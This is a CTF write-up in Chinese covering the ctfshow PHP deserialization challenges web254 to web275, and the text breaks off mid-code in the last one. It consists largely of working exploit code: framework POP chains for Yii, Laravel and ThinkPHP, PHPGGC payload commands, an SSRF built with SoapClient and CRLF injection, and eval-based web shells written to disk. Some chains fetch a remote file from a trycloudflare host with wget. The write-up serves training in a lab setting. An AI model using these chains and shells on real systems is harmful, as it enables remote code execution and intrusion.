web254 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php error_reporting(0 ); highlight_file(__FILE__ ); include ('flag.php' );class ctfShowUser { public $username='xxxxxx' ; public $password='xxxxxx' ; public $isVip=false ; public function checkVip () { return $this ->isVip; } public function login ($u,$p) { if ($this ->username===$u&&$this ->password===$p){ $this ->isVip=true ; } return $this ->isVip; } public function vipOneKeyGetFlag () { if ($this ->isVip){ global $flag; echo "your flag is " .$flag; }else { echo "no vip, no flag" ; } } } $username=$_GET['username' ]; $password=$_GET['password' ]; if (isset ($username) && isset ($password)){ $user = new ctfShowUser(); if ($user->login($username,$password)){ if ($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else { echo "no vip,no flag" ; } }
要求 username 和 password 都为 xxxxxx,根据提示构造 payload。 payload: ?username=xxxxxx&password=xxxxxx
web255 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php error_reporting(0 ); highlight_file(__FILE__ ); include ('flag.php' );class ctfShowUser { public $username='xxxxxx' ; public $password='xxxxxx' ; public $isVip=false ; public function checkVip () { return $this ->isVip; } public function login ($u,$p) { return $this ->username===$u&&$this ->password===$p; } public function vipOneKeyGetFlag () { if ($this ->isVip){ global $flag; echo "your flag is " .$flag; }else { echo "no vip, no flag" ; } } } $username=$_GET['username' ]; $password=$_GET['password' ]; if (isset ($username) && isset ($password)){ $user = unserialize($_COOKIE['user' ]); if ($user->login($username,$password)){ if ($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else { echo "no vip,no flag" ; } }
要求 cookie 中 user 值为一个序列化的 ctfshowUser 对象,属性 isVip 值为 true,username 和 password 和 GET 参数获取的一致。
1 2 3 4 $user = new ctfShowUser(); $user->isVip = true ; var_dump(serialize($user));
url: /?username=xxxxxx&password=xxxxxx
cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web256 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php error_reporting(0 ); highlight_file(__FILE__ ); include ('flag.php' );class ctfShowUser { public $username='xxxxxx' ; public $password='xxxxxx' ; public $isVip=false ; public function checkVip () { return $this ->isVip; } public function login ($u,$p) { return $this ->username===$u&&$this ->password===$p; } public function vipOneKeyGetFlag () { if ($this ->isVip){ global $flag; if ($this ->username!==$this ->password){ echo "your flag is " .$flag; } }else { echo "no vip, no flag" ; } } } $username=$_GET['username' ]; $password=$_GET['password' ]; if (isset ($username) && isset ($password)){ $user = unserialize($_COOKIE['user' ]); if ($user->login($username,$password)){ if ($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else { echo "no vip,no flag" ; } }
相比上题新增了 username !== password
的要求,按要求构造即可。
1 2 3 4 5 6 $user = new ctfShowUser(); $user->isVip = true ; $user->username = "china" ; $user->password = "123456" ; var_dump(serialize($user));
url: /?password=123456&username=china
cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22china%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php error_reporting(0 ); highlight_file(__FILE__ ); class ctfShowUser { private $username='xxxxxx' ; private $password='xxxxxx' ; private $isVip=false ; private $class = 'info' ; public function __construct () { $this ->class=new info(); } public function login ($u,$p) { return $this ->username===$u&&$this ->password===$p; } public function __destruct () { $this ->class->getInfo(); } } class info { private $user='xxxxxx' ; public function getInfo () { return $this ->user; } } class backDoor { private $code; public function getInfo () { eval ($this ->code); } } $username=$_GET['username' ]; $password=$_GET['password' ]; if (isset ($username) && isset ($password)){ $user = unserialize($_COOKIE['user' ]); $user->login($username,$password); }
用 backDoor
代替 info
,然后正常构造即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php error_reporting(0 ); highlight_file(__FILE__ ); class ctfShowUser { private $username='xxxxxx' ; private $password='xxxxxx' ; private $isVip=true ; private $class = 'info' ; public function __construct () { $this ->class= new backDoor(); } public function login ($u,$p) { return $this ->username===$u&&$this ->password===$p; } public function __destruct () { $this ->class->getInfo(); } } class info { private $user='xxxxxx' ; public function getInfo () { return $this ->user; } } class backDoor { private $code="file_put_contents('sh.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pID8+'));" ; public function getInfo () { eval ($this ->code); } } $u = new ctfShowUser(); var_dump(urlencode(serialize($u)));
url: ?username=xxxxxx&password=xxxxxx
cookie: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A79%3A%22file_put_contents%28%27sh.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pID8%2B%27%29%29%3B%22%3B%7D%7D
web258 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php error_reporting(0 ); highlight_file(__FILE__ ); class ctfShowUser { public $username='xxxxxx' ; public $password='xxxxxx' ; public $isVip=false ; public $class = 'info' ; public function __construct () { $this ->class=new info(); } public function login ($u,$p) { return $this ->username===$u&&$this ->password===$p; } public function __destruct () { $this ->class->getInfo(); } } class info { public $user='xxxxxx' ; public function getInfo () { return $this ->user; } } class backDoor { public $code; public function getInfo () { eval ($this ->code); } } $username=$_GET['username' ]; $password=$_GET['password' ]; if (isset ($username) && isset ($password)){ if (!preg_match('/[oc]:\d+:/i' , $_COOKIE['user' ])){ $user = unserialize($_COOKIE['user' ]); } $user->login($username,$password); }
增加了正则过滤,这里可以利用 unserialize
函数的一个特性 绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php error_reporting(0 ); highlight_file(__FILE__ ); class ctfShowUser { public $username='xxxxxx' ; public $password='xxxxxx' ; public $isVip=false ; public $class = 'info' ; public function __construct () { $this ->class=new backDoor(); } public function login ($u,$p) { return $this ->username===$u&&$this ->password===$p; } public function __destruct () { $this ->class->getInfo(); } } class info { public $user='xxxxxx' ; public function getInfo () { return $this ->user; } } class backDoor { public $code="file_put_contents('sh.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOw=='));" ; public function getInfo () { eval ($this ->code); } } $u = new ctfShowUser(); var_dump(urlencode(preg_replace("/([oc]):(\d+:)/i" , "$1:+$2" , serialize($u))));
url: ?username=xxxxxx&password=xxxxxx
cookie: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A79%3A%22file_put_contents%28%27sh.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOw%3D%3D%27%29%29%3B%22%3B%7D%7D
蚁剑连接 sh.php
查看 flag。
web259 1 2 3 4 5 6 7 8 <?php highlight_file(__FILE__ ); $vip = unserialize($_GET['vip' ]); $vip->getFlag();
flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 $xff = explode(',' , $_SERVER['HTTP_X_FORWARDED_FOR' ]); array_pop($xff); $ip = array_pop($xff); if ($ip!=='127.0.0.1' ){ die ('error' ); }else { $token = $_POST['token' ]; if ($token=='ctfshow' ){ file_put_contents('flag.txt' ,$flag); } }
考点是利用 SoapClient
类反序列化 + CRLF
实现 SSRF
,构造请求访问 flag.php
得到 flag。 反序列化后的 SoapClient
对象在调用不存在的方法时会调用 __call
,在 user_agent
中插入 CRLF
也就是 \r\n
控制 header
和 body
构造想要的请求。
1 2 3 4 5 6 7 8 9 10 11 <?php $target = "http://127.0.0.1/flag.php" ; $post = "token=ctfshow" ; $a = new SoapClient(null , array ( "location" => $target, "user_agent" => "aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " .(string)strlen($post)."\r\n\r\n" .$post, "uri" => "aaaa" )); var_dump(urlencode(serialize($a)));
访问 flag.txt
得到 flag。
web260 1 2 3 4 5 6 7 8 9 <?php error_reporting(0 ); highlight_file(__FILE__ ); include ('flag.php' );if (preg_match('/ctfshow_i_love_36D/' ,serialize($_GET['ctfshow' ]))){ echo $flag; }
需要传入的字符串序列化后满足正则 /ctfshow_i_love_36D/
,直接传这个就行。 payload: ?ctfshow=ctfshow_i_love_36D
web261 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php highlight_file(__FILE__ ); class ctfshowvip { public $username; public $password; public $code; public function __construct ($u,$p) { $this ->username=$u; $this ->password=$p; } public function __wakeup () { if ($this ->username!='' || $this ->password!='' ){ die ('error' ); } } public function __invoke () { eval ($this ->code); } public function __sleep () { $this ->username='' ; $this ->password='' ; } public function __unserialize ($data) { $this ->username=$data['username' ]; $this ->password=$data['password' ]; $this ->code = $this ->username.$this ->password; } public function __destruct () { if ($this ->code==0x36d ){ file_put_contents($this ->username, $this ->password); } } } unserialize($_GET['vip' ]);
PHP 文档 中提到
注意: 如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。 注意: 此特性自 PHP 7.4.0 起可用。
查看 response header
可知 X-Powered-By: PHP/7.4.16
,那么 __wakeup
部分就不会被执行,与注释无异。__destruct
函数部分弱比较 $this->code==0x36d
,因为 $this->code = $this->username.$this->password;
,username
可控制,因为 (int)'877.php' == 0x36d
,故传 877.php
即可绕过。
1 2 3 4 5 6 7 8 9 10 <?php class ctfshowvip { public $username = "877.php" ; public $password = "<?php @eval(\$_POST[2]);" ; } $a = new ctfshowvip(); var_dump(urlencode(serialize($a)));
payload: ?vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A23%3A%22%3C%3Fphp+%40eval%28%24_POST%5B2%5D%29%3B%22%3B%7D
web262 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php error_reporting(0 ); class message { public $from; public $msg; public $to; public $token='user' ; public function __construct ($f,$m,$t) { $this ->from = $f; $this ->msg = $m; $this ->to = $t; } } $f = $_GET['f' ]; $m = $_GET['m' ]; $t = $_GET['t' ]; if (isset ($f) && isset ($m) && isset ($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck' , 'loveU' , serialize($msg)); setcookie('msg' ,base64_encode($umsg)); echo 'Your message has been sent' ; } highlight_file(__FILE__ );
提示还有 message.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php highlight_file(__FILE__ ); include ('flag.php' );class message { public $from; public $msg; public $to; public $token='user' ; public function __construct ($f,$m,$t) { $this ->from = $f; $this ->msg = $m; $this ->to = $t; } } if (isset ($_COOKIE['msg' ])){ $msg = unserialize(base64_decode($_COOKIE['msg' ])); if ($msg->token=='admin' ){ echo $flag; } }
看似是反序列化字符串逃逸,实际上自己构造改 cookie
就可以。
1 2 3 4 5 6 7 8 <?php class message { public $token='admin' ; } $a = new message(); var_dump(base64_encode(serialize($a)));
cookie: msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
web263 打开一个登录框,登录失败没啥信息,扫描器扫到备份 www.zip
,下载得到源码。 index.php 中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting(0 ); session_start(); if (isset ($_SESSION['limit' ])){ $_SESSION['limti' ]>5 ?die ("登陆失败次数超过限制" ):$_SESSION['limit' ]=base64_decode($_COOKIE['limit' ]); $_COOKIE['limit' ] = base64_encode(base64_decode($_COOKIE['limit' ]) +1 ); }else { setcookie("limit" ,base64_encode('1' )); $_SESSION['limit' ]= 1 ; } ?>
可知我们可以通过修改 $COOKIE['limit']
来控制 session
的内容。 inc.php 中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php ... ini_set('session.serialize_handler' , 'php' ); session_start(); ... class User { public $username; public $password; public $status; function __construct ($username,$password) { $this ->username = $username; $this ->password = $password; } function setStatus ($s) { $this ->status=$s; } function __destruct () { file_put_contents("log-" .$this ->username, "使用" .$this ->password."登陆" .($this ->status?"成功" :"失败" )."----" .date_create()->format('Y-m-d H:i:s' )); } } ...
使用 ini_set
指定了 serialize_handler
为 php
,如果默认的 serialize_handler
为 php_serialize
,就可以通过在序列化的字符串之前加 |
,反序列化任意对象。
php_binary: 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php: 存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4): 存储方式是,经过serialize()函数序列化处理的值
注意:在 php 5.5.4
以前默认选择的是 php
,5.5.4
之后就是 php_serialize
,这里的 php
版本为 7.3.11
,那么默认就是 php_serialize
。
那么思路就很清晰了,首先在 $COOKIE['limit']
中构造 |+序列化对象
的字符串,访问首页写入 session
,再通过 check.php
加载的 inc.php
中的 ini_set('session.serialize_handler', 'php');
将 session
以 session.serialize_handler=php
的格式反序列化,执行 User
类的 __destruct
方法写 shell
。 首先构造 payload
:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class User { public $username = "test/../../../../../../../../../../var/www/html/c.php" ; public $password = "<?php @eval(\$_POST[1]); ?>" ; public $status; } $a = new User(); $target = '|' .serialize($a); var_dump($target); var_dump(urlencode(base64_encode($target)));
payload: fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1MzoidGVzdC8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2h0bWwvYy5waHAiO3M6ODoicGFzc3dvcmQiO3M6MjY6Ijw%2FcGhwIEBldmFsKCRfUE9TVFsxXSk7ID8%2BIjtzOjY6InN0YXR1cyI7Tjt9
更改 cookie
后访问 index.php
,session
的内容是这样的:
1 a:1:{s:5:"limit";s:156:"|O:4:"User":3:{s:8:"username";s:53:"test/../../../../../../../../../../var/www/html/b.php";s:8:"password";s:26:"<?php @eval($_POST[1]); ?>";s:6:"status";N;}
这是 session.serialize_handler=php_serialize
存储的结果,如果通过 session.serialize_handler=php
读取 session
,就会把前面的 a:1:{s:5:"limit";s:156:"
当作 key
,|
后面的部分作为序列化对象反序列化,就可以反序列化 User
类了。
web264 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting(0 ); session_start(); class message { public $from; public $msg; public $to; public $token='user' ; public function __construct ($f,$m,$t) { $this ->from = $f; $this ->msg = $m; $this ->to = $t; } } $f = $_GET['f' ]; $m = $_GET['m' ]; $t = $_GET['t' ]; if (isset ($f) && isset ($m) && isset ($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck' , 'loveU' , serialize($msg)); $_SESSION['msg' ]=base64_encode($umsg); echo 'Your message has been sent' ; } highlight_file(__FILE__ );
注释中提示还有 message.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php session_start(); highlight_file(__FILE__ ); include ('flag.php' );class message { public $from; public $msg; public $to; public $token='user' ; public function __construct ($f,$m,$t) { $this ->from = $f; $this ->msg = $m; $this ->to = $t; } } if (isset ($_COOKIE['msg' ])){ $msg = unserialize(base64_decode($_SESSION['msg' ])); if ($msg->token=='admin' ){ echo $flag; } }
这次相比 web262
有了 session
的限制,就不能自己构造了,用起来反序列化字符串逃逸。fuck
-> loveU
增加了一个字符,要逃逸出来的字符串 ";s:5:"token";s:5:"admin";}
长度为 27,故构造 27 个 fuck
:
1 print("fuck" *27 +"""";s:5:"token";s:5:"admin";}""" )
payload: ?f=aaaa&m=aaaa&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web265 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php error_reporting(0 ); include ('flag.php' );highlight_file(__FILE__ ); class ctfshowAdmin { public $token; public $password; public function __construct ($t,$p) { $this ->token=$t; $this ->password = $p; } public function login () { return $this ->token===$this ->password; } } $ctfshow = unserialize($_GET['ctfshow' ]); $ctfshow->token=md5(mt_rand()); if ($ctfshow->login()){ echo $flag; }
如果要靠输入的 $password
去和 md5(mt_rand())
碰撞,几乎是不可能的。这里需要用到 php
的引用 ,使得 $password = &$token;
,那么 $password === $token
就没问题了。
1 2 3 4 5 6 7 8 9 10 <?php class ctfshowAdmin { public $token; public $password; } $c = new ctfshowAdmin(); $c->password = &$c->token; var_dump(urlencode(serialize($c)));
payload: ?ctfshow=O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3BN%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D
web266 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php highlight_file(__FILE__ ); include ('flag.php' );$cs = file_get_contents('php://input' ); class ctfshow { public $username='xxxxxx' ; public $password='xxxxxx' ; public function __construct ($u,$p) { $this ->username=$u; $this ->password=$p; } public function login () { return $this ->username===$this ->password; } public function __toString () { return $this ->username; } public function __destruct () { global $flag; echo $flag; } } $ctfshowo=@unserialize($cs); if (preg_match('/ctfshow/' , $cs)){ throw new Exception ("Error $ctfshowo" ,1 ); }
这里涉及到一个 php
常识:PHP大小写:函数名和类名不区分,变量名区分 。
1 2 3 4 5 6 7 8 9 10 <?php class ctfshow { public $username='xxxxxx' ; public $password='xxxxxx' ; } $c = new ctfshow(); $a = str_replace("ctfshow" , "ctfsHow" , serialize($c)); var_dump($a);
php://input
要用 bp。 payload: O:7:"ctfsHow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
web267 一开始没思路,搜了一下知道是 Yii
框架的反序列化漏洞。 首先 admin/admin
弱密码登录,然后在 /index.php?r=site/about
可以看到注释里面有一个 ?view-source
,加上之后访问 /index.php?r=site%2Fabout&view-source
看到一个反序列化的点 backdoor/shell unserialize(base64_decode($_GET['code']))
,随便搜一个反序列化的 pop
链打一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php namespace yii \rest { class CreateAction { public $checkAccess ; public $id; public function __construct () { $this ->checkAccess = 'shell_exec' ; $this ->id = 'cp /flag 3.txt' ; } } } namespace Faker { use yii \rest \CreateAction ; class Generator { protected $formatters; public function __construct () { $this ->formatters['close' ] = [new CreateAction, 'run' ]; } } } namespace yii \db { use Faker \Generator ; class BatchQueryResult { private $_dataReader; public function __construct () { $this ->_dataReader = new Generator; } } } namespace { echo base64_encode (serialize (new yii \db \BatchQueryResult )); } ?>
这里 system
不能用,用了 shell_exec
。 payload: /index.php?r=backdoor%2Fshell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6MTQ6ImNwIC9mbGFnIDMudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19
访问 3.txt
得到 flag
。
web268 前面的流程和上一题差不多,不过这次不给用 BatchQueryResult
了,改用 RunProcess
类作为 pop
链入口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php namespace yii \rest { class IndexAction { public $checkAccess ; public $id; public function __construct () { $this ->checkAccess = 'passthru' ; $this ->id = 'wget https://hoping-billy-vip-pair.trycloudflare.com/big.php' ; } } } namespace Faker { use yii \rest \IndexAction ; class Generator { protected $formatters ; public function __construct () { $this ->formatters['isRunning' ]=[new IndexAction(),'run' ]; } } } namespace Codeception \Extension { use Faker \Generator ; class RunProcess { private $processes=[]; public function __construct () { $this ->processes[]=new Generator(); } } } namespace { use Codeception \Extension \RunProcess ; echo base64_encode(serialize(new RunProcess())); }
web269 同理,换个链换个函数接着打,主要的内容还是要理解如何构造 pop
链,剩下的就是机械劳动了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <?php namespace { use phpDocumentor \Reflection \DocBlock \Tags \Covers ; class Swift_KeyCache_DiskKeyCache { private $path; private $keys; public function __construct () { $this ->keys = array ( "V0W" =>array ("is" , "Ca1j1" ) ); $this ->path = new Covers(); } } $payload = new Swift_KeyCache_DiskKeyCache(); echo base64_encode(serialize($payload)); } namespace phpDocumentor \Reflection \DocBlock \Tags { use Faker \Generator ; class Covers { private $refers; protected $description; public function __construct () { $this ->description = new Generator(); $this ->refers = "AnyStringisOK" ; } } } namespace yii \rest { class IndexAction { public $checkAccess ; public $id; public function __construct () { $this ->checkAccess = 'exec' ; $this ->id = 'wget https://hoping-billy-vip-pair.trycloudflare.com/big.php' ; } } } namespace Faker { use yii \rest \IndexAction ; class Generator { protected $formatters; public function __construct () { $this ->formatters['render' ] = [new IndexAction, 'run' ]; } } }
web270 学会构造 pop
链固然重要,但这里找到了好用的工具 PHPGGC
。
1 $ ./phpggc Yii2/RCE2 "passthru('wget https://hoping-billy-vip-pair.trycloudflare.com/big.php');" --base64
一键生成 payload
,有脚本小子内味了。
web271-273 不得不说这玩意真好用
1 $ ./phpggc Laravel/RCE6 "system('cat /flag');" --url
payload: data=O%3A29%3A%22Illuminate%5CSupport%5CMessageBag%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00messages%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00format%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A38%3A%22Illuminate%5CBroadcasting%5CBroadcastEvent%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A7%3A%22abcdefg%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A35%3A%22%3C%3Fphp+system%28%27cat+%2Fflag%27%29%3B+exit%3B+%3F%3E%22%3B%7D%7D%7D%7D
web274 这里 phpggc
的不能用了,找了另外一个链 打的,看来有空也要构建自己的武器库。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 <?php namespace think \process \pipes { use think \model \Pivot ; class Windows { private $files = []; public function __construct () { $this ->files[]=new Pivot(); } } } namespace think { abstract class Model { private $data = []; protected $append = []; public function __construct () { $this ->data=array ( 'autumn' =>new Request() ); $this ->append=array ( 'autumn' =>array ( 'hello' =>'world' ) ); } } } namespace think \model { use think \Model ; class Pivot extends Model { } } namespace think { class Request { protected $hook = []; protected $config = [ 'var_method' => '_method' , 'var_ajax' => '' , 'var_pjax' => '_pjax' , 'var_pathinfo' => 's' , 'pathinfo_fetch' => ['ORIG_PATH_INFO' , 'REDIRECT_PATH_INFO' , 'REDIRECT_URL' ], 'default_filter' => '' , 'url_domain_root' => '' , 'https_agent_name' => '' , 'http_agent_ip' => 'HTTP_X_REAL_IP' , 'url_html_suffix' => 'html' , ]; protected $filter; public function __construct () { $this ->hook['visible' ]=[$this ,'isAjax' ]; $this ->filter='system' ; } } } namespace { use think \process \pipes \Windows ; echo base64_encode(serialize(new Windows())); }
payload: ?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo2OiJhdXR1bW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6NTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBjb25maWciO2E6MTA6e3M6MTA6InZhcl9tZXRob2QiO3M6NzoiX21ldGhvZCI7czo4OiJ2YXJfYWpheCI7czowOiIiO3M6ODoidmFyX3BqYXgiO3M6NToiX3BqYXgiO3M6MTI6InZhcl9wYXRoaW5mbyI7czoxOiJzIjtzOjE0OiJwYXRoaW5mb19mZXRjaCI7YTozOntpOjA7czoxNDoiT1JJR19QQVRIX0lORk8iO2k6MTtzOjE4OiJSRURJUkVDVF9QQVRIX0lORk8iO2k6MjtzOjEyOiJSRURJUkVDVF9VUkwiO31zOjE0OiJkZWZhdWx0X2ZpbHRlciI7czowOiIiO3M6MTU6InVybF9kb21haW5fcm9vdCI7czowOiIiO3M6MTY6Imh0dHBzX2FnZW50X25hbWUiO3M6MDoiIjtzOjEzOiJodHRwX2FnZW50X2lwIjtzOjE0OiJIVFRQX1hfUkVBTF9JUCI7czoxNToidXJsX2h0bWxfc3VmZml4IjtzOjQ6Imh0bWwiO31zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO319czo5OiIAKgBhcHBlbmQiO2E6MTp7czo2OiJhdXR1bW4iO2E6MTp7czo1OiJoZWxsbyI7czo1OiJ3b3JsZCI7fX19fX0=&autumn=cat /flag
web275 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php highlight_file(__FILE__ ); class filter { public $filename; public $filecontent; public $evilfile=false ; public function __construct ($f,$fn) { $this ->filename=$f; $this ->filecontent=$fn; } public function checkevil () { if (preg_match('/php|\.\./i' , $this ->filename)){ $this ->evilfile=true ; } if (preg_match('/flag/i' , $this ->filecontent)){ $this ->evilfile=true ; } return $this ->evilfile; } public function __destruct () { if ($this ->evilfile){ system('rm ' .$this ->filename); } } } if (isset ($_GET['fn' ])){ $content = file_get_contents('php://input' ); $f = new filter($_GET['fn' ],$content); if ($f->checkevil()===false ){ file_put_contents($_GET['fn' ], $content); copy($_GET['fn' ],md5(mt_rand()).'.txt' 